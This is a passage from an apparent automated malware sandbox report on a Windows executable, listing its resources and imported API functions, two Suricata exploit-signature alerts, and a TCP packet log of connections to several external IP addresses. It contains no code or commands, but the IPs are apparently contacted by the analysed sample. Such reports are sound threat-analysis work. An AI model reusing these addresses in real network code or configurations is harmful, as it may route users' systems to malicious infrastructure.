                                                                                                                                                RT_ICON0xb16c00x468Device independent bitmap graphic, 16 x 32 x 32, image size 1088EnglishGreat Britain0.7553191489361702
                                                                                                                                                RT_MENU0xb1b280x50dataEnglishGreat Britain0.9
                                                                                                                                                RT_DIALOG0xb1b780xfcdataEnglishGreat Britain0.6507936507936508
                                                                                                                                                RT_STRING0xb1c780x530dataEnglishGreat Britain0.33960843373493976
                                                                                                                                                RT_STRING0xb21a80x690dataEnglishGreat Britain0.26964285714285713
                                                                                                                                                RT_STRING0xb28380x43adataEnglishGreat Britain0.3733826247689464
                                                                                                                                                RT_STRING0xb2c780x5fcdataEnglishGreat Britain0.3087467362924282
                                                                                                                                                RT_STRING0xb32780x65cdataEnglishGreat Britain0.34336609336609336
                                                                                                                                                RT_STRING0xb38d80x388dataEnglishGreat Britain0.377212389380531
                                                                                                                                                RT_STRING0xb3c600x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishUnited States0.502906976744186
                                                                                                                                                RT_GROUP_ICON0xb3db80x84dataEnglishGreat Britain0.6439393939393939
                                                                                                                                                RT_GROUP_ICON0xb3e400x14dataEnglishGreat Britain1.15
                                                                                                                                                RT_GROUP_ICON0xb3e580x14dataEnglishGreat Britain1.25
                                                                                                                                                RT_GROUP_ICON0xb3e700x14dataEnglishGreat Britain1.25
                                                                                                                                                RT_VERSION0xb3e880x19cdataEnglishGreat Britain0.5339805825242718
                                                                                                                                                RT_MANIFEST0xb40280x26cASCII text, with CRLF line terminatorsEnglishUnited States0.5145161290322581

                                                                                                                                                Imports

                                                                                                                                                DLLImport
                                                                                                                                                WSOCK32.dll__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
                                                                                                                                                VERSION.dllVerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
                                                                                                                                                WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                                                                                                                COMCTL32.dllImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
                                                                                                                                                MPR.dllWNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
                                                                                                                                                WININET.dllInternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
                                                                                                                                                PSAPI.DLLEnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
                                                                                                                                                USERENV.dllCreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
                                                                                                                                                KERNEL32.dllHeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, MultiByteToWideChar, WideCharToMultiByte, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, lstrcmpiW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, GetProcessHeap, OutputDebugStringW, GetLocalTime, CompareStringW, CompareStringA, InterlockedIncrement, InterlockedDecrement, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetComputerNameW, GetWindowsDirectoryW, GetSystemDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ResumeThread, GetStartupInfoW, TlsGetValue, TlsAlloc, TlsSetValue, TlsFree, SetLastError, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetModuleFileNameA, HeapReAlloc, HeapCreate, SetHandleCount, GetFileType, GetStartupInfoA, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, LCMapStringA, RtlUnwind, SetFilePointer, GetTimeZoneInformation, GetTimeFormatA, GetDateFormatA, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCommandLineW, GetTickCount, GetStringTypeA, GetStringTypeW, GetLocaleInfoA, GetModuleHandleA, WriteConsoleA, GetConsoleOutputCP, WriteConsoleW, CreateFileA, SetEndOfFile, EnumResourceNamesW, SetEnvironmentVariableA
                                                                                                                                                USER32.dllSetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, CopyImage, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, PeekMessageW, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, MoveWindow, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, GetMenuItemID, TranslateMessage, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, UnregisterHotKey, CharLowerBuffW, MonitorFromRect, keybd_event, LoadImageW, GetWindowLongW
                                                                                                                                                GDI32.dllDeleteObject, GetObjectW, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, BeginPath, Rectangle, GetDeviceCaps, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, SetViewportOrgEx
                                                                                                                                                COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                                                                                                                ADVAPI32.dllRegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, RegEnumKeyExW, CloseServiceHandle, UnlockServiceDatabase, LockServiceDatabase, OpenSCManagerW, InitiateSystemShutdownExW, AdjustTokenPrivileges, RegCloseKey, RegQueryValueExW, RegOpenKeyExW, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, SetSecurityDescriptorDacl, CopySid, LogonUserW, GetTokenInformation, GetAclInformation, GetAce, AddAce, GetSecurityDescriptorDacl
                                                                                                                                                SHELL32.dllDragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                                                                                                ole32.dllOleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, StringFromCLSID, IIDFromString, StringFromIID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize
                                                                                                                                                OLEAUT32.dllSafeArrayAllocData, SafeArrayAllocDescriptorEx, SysAllocString, OleLoadPicture, SafeArrayGetVartype, SafeArrayDestroyData, SafeArrayAccessData, VarR8FromDec, VariantTimeToSystemTime, VariantClear, VariantCopy, VariantInit, SafeArrayDestroyDescriptor, LoadRegTypeLib, GetActiveObject, SafeArrayUnaccessData

                                                                                                                                                Possible Origin

                                                                                                                                                Language of compilation systemCountry where language is spokenMap
                                                                                                                                                EnglishGreat Britain
                                                                                                                                                EnglishUnited States

                                                                                                                                                Network Behavior

                                                                                                                                                Suricata IDS Alerts

                                                                                                                                                TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                                                                                2024-11-05T16:23:10.549635+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow1172.202.163.200443192.168.2.949792TCP
                                                                                                                                                2024-11-05T16:23:48.724643+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow1172.202.163.200443192.168.2.949946TCP

                                                                                                                                                Network Port Distribution

                                                                                                                                                TCP Packets

                                                                                                                                                TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                Nov 5, 2024 16:23:18.977281094 CET4983980192.168.2.9172.81.61.224
                                                                                                                                                Nov 5, 2024 16:23:18.983781099 CET8049839172.81.61.224192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:18.983848095 CET4983980192.168.2.9172.81.61.224
                                                                                                                                                Nov 5, 2024 16:23:18.991583109 CET4983980192.168.2.9172.81.61.224
                                                                                                                                                Nov 5, 2024 16:23:18.996566057 CET8049839172.81.61.224192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:19.488413095 CET8049839172.81.61.224192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:19.488522053 CET4983980192.168.2.9172.81.61.224
                                                                                                                                                Nov 5, 2024 16:23:19.489878893 CET4983980192.168.2.9172.81.61.224
                                                                                                                                                Nov 5, 2024 16:23:19.495023966 CET8049839172.81.61.224192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:34.870213032 CET4989280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:34.875343084 CET804989281.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:34.875443935 CET4989280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:34.906476021 CET4989280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:34.911367893 CET804989281.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:35.751807928 CET804989281.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:35.804575920 CET4989280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:35.889029026 CET804989281.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:35.889228106 CET4989280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:36.414009094 CET4989280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:37.432652950 CET4990480192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:37.437555075 CET804990481.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:37.437659025 CET4990480192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:37.448745966 CET4990480192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:37.453938961 CET804990481.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:38.438122988 CET804990481.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:38.455534935 CET804990481.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:38.455636978 CET4990480192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:38.960851908 CET4990480192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:39.979967117 CET4991380192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:39.984966040 CET804991381.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:39.985152960 CET4991380192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:40.003776073 CET4991380192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:40.008847952 CET804991381.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:40.008863926 CET804991381.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:40.886673927 CET804991381.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:40.929589033 CET4991380192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:41.006083965 CET804991381.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:41.006728888 CET4991380192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:41.507816076 CET4991380192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:42.526592016 CET4992280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:42.531951904 CET804992281.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:42.532201052 CET4992280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:42.539468050 CET4992280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:42.544302940 CET804992281.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:43.390218973 CET804992281.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:43.445242882 CET4992280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:43.523356915 CET804992281.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:43.523490906 CET4992280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:43.535001993 CET4992280192.168.2.981.2.196.19
                                                                                                                                                Nov 5, 2024 16:23:43.539881945 CET804992281.2.196.19192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:48.859024048 CET4995280192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:48.864315033 CET804995294.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:48.864511013 CET4995280192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:48.875286102 CET4995280192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:48.880494118 CET804995294.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:50.382819891 CET4995280192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:50.388061047 CET804995294.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:50.388153076 CET4995280192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:51.401448965 CET4996880192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:51.406342030 CET804996894.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:51.406461954 CET4996880192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:51.416743040 CET4996880192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:51.421680927 CET804996894.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:52.929727077 CET4996880192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:52.944911957 CET804996894.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:52.944977999 CET4996880192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:53.948328972 CET4998080192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:53.953171015 CET804998094.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:53.953327894 CET4998080192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:53.963911057 CET4998080192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:53.968872070 CET804998094.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:53.968905926 CET804998094.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:55.476640940 CET4998080192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:55.482909918 CET804998094.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:55.483050108 CET4998080192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:56.495476007 CET4998180192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:56.500555992 CET804998194.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:56.500684977 CET4998180192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:56.507215023 CET4998180192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:56.512458086 CET804998194.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:58.112376928 CET804998194.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:58.163988113 CET4998180192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:58.268004894 CET804998194.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:23:58.268145084 CET4998180192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:58.269018888 CET4998180192.168.2.994.73.146.114
                                                                                                                                                Nov 5, 2024 16:23:58.274348974 CET804998194.73.146.114192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:03.297660112 CET4998280192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:03.302649975 CET80499823.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:03.302752972 CET4998280192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:03.313610077 CET4998280192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:03.318536043 CET80499823.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:04.275612116 CET80499823.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:04.275681019 CET4998280192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:04.276612043 CET80499823.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:04.276659966 CET4998280192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:04.820535898 CET4998280192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:04.825687885 CET80499823.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:05.839035034 CET4998380192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:05.844001055 CET80499833.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:05.844090939 CET4998380192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:05.854553938 CET4998380192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:05.859500885 CET80499833.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:06.463306904 CET80499833.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:06.463418007 CET4998380192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:07.367427111 CET4998380192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:07.372402906 CET80499833.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:08.389206886 CET4998480192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:08.530638933 CET80499843.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:08.530771971 CET4998480192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:08.541660070 CET4998480192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:08.546592951 CET80499843.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:08.546686888 CET80499843.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:09.170034885 CET80499843.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:09.170101881 CET4998480192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:10.055121899 CET4998480192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:10.060245991 CET80499843.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:11.079560041 CET4998580192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:11.087260008 CET80499853.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:11.087342024 CET4998580192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:11.102241993 CET4998580192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:11.414110899 CET4998580192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:11.515877962 CET80499853.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:11.515918016 CET80499853.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:12.756350994 CET80499853.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:12.789819956 CET80499853.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:12.790077925 CET4998580192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:12.797760963 CET4998580192.168.2.93.33.130.190
                                                                                                                                                Nov 5, 2024 16:24:12.802789927 CET80499853.33.130.190192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:17.904964924 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:17.909914017 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:17.909990072 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:17.926207066 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:17.931976080 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.635469913 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.635567904 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.635582924 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.636281013 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.636292934 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.636303902 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.636356115 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:18.636440992 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:18.636977911 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.636990070 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.637082100 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:18.637370110 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.637381077 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.637501955 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:18.641177893 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.641450882 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.641463041 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.641594887 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:18.642066002 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.642079115 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.642175913 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:18.675088882 CET8049986209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:18.675400972 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:19.445477962 CET4998680192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:20.465768099 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:20.470772982 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:20.471076012 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:20.481837034 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:20.486784935 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.155224085 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.155431032 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.155445099 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.155591011 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:21.156327963 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.156342983 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.156435013 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:21.156883955 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.156897068 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.156907082 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.156963110 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:21.156963110 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:21.157507896 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.157520056 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.157619953 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:21.160459042 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.160608053 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.160619974 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.160665989 CET4998780192.168.2.9209.74.95.29
                                                                                                                                                Nov 5, 2024 16:24:21.161137104 CET8049987209.74.95.29192.168.2.9
                                                                                                                                                Nov 5, 2024 16:24:21.161174059 CET4998780192.168.2.9209.74.95.29
